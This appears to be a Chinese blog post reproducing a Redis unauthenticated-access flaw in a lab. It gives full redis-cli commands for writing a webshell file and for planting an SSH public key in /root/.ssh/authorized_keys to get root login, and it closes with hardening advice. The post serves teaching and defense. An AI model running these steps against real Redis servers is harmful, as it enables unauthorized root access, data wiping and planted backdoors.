freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

redis未授权访问漏洞复现
耳双 2021-08-05 10:11:14 121695

Redis未授权访问

介绍:

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis支持数据持久化,可以将内存中的数据保存在磁盘中,重启可以再次加载使用。

Redis不能进提供key-value存储结构,还提供list、set、zset、hash等数据存储结构。

Redis支持数据备份,即master-slave模式的数据备份。

通过身份认证便可访问到内部数据,造成敏感信息泄露,也可执行flushall来清空所有的数据。如果redis以root身份运行,可以给root账户写入ssh公钥文件,直接通过ssh登录受害者机器。

redis默认是没有密码的。

环境:

攻击机:kali 2020 IP:192.168.1.56

靶机: ubantu IP:192.168.1.42

攻击机与靶机都要有redis环境,这里我用的Redis 2.8.17

漏洞复现:

0x01 利用redis写webshell

首先在靶机开启redis环境。

sudo redis-server /etc/redis.conf

图片.png

当前我们已经知道靶机的IP地址,然后在攻击机中执行下面的命令,尝试进行连接。

redis-cli -h 192.168.1.42

图片.png

可以看到已经连接成功了。接着执行下面的命令。

config set dir /home/ershuang  #这里的/home/ershuang可以是其他路径但必须是存在的路径,否则会返回错误
config get dir				  #查看信息
config set dbfilename redis.php 
set webshell "<?php phpinfo()?>"
save

图片.png

现在到靶机中我们写入webshell的路径下查看是否写入成功。

图片.png图片.png

这里可以看到已经写入成功了。

0x02 redis利用ssh进行登录访问

这个问题有一个前提,是靶机中需要有ssh公钥存储目录并且redis是以root身份登录。靶机可以使用mkdir /root/.ssh来创建公钥存储目录。

在攻击机中执行下面的命令来生成一个没有登录密码的ssh公钥。

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt  #将生成的公钥保存到1.txt中
cat 1.txt | redis-cli -h 192.168.1.42 -x set crack        #将保存ssh公钥的1.txt写入到redis中
redis-cli -h 192.168.1.42                                 #远程访问靶机
config get dir                                            #得到备份路径
config set dir /root/.ssh                                 #更改redis备份路径为ssh公钥存放路径
config set dbfilename authorized_keys                     #设置上传公钥的备份文件为authorized_keys
config get dbfilename                                     #检查是否更改成功
save
exit
ssh -i id_rsa root@192.168.1.42                           #在攻击机上使用ssh免密登录把靶机
ipconfig

图片.png

图片.png

图片.png

加固修复建议:

1、设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"设置复杂密码(需要重启redis服务才能生效)

2、对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接redis服务器

3、禁用config指令避免恶意操作,在redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config指令加大难度

4、redis使用普通用户权限,禁止root权限启动redis服务,这样可以保证在存在漏洞的情况下攻击者只能获取普通用户权限,无法获得root权限。

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 耳双 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
耳双 LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 0 关注者
APK反编译思路及操作记录
2021-12-08
CVE-2021-41773 Apache HTTP Server 路径穿越漏洞复现
2021-10-28
密码安全
2021-10-12
文章目录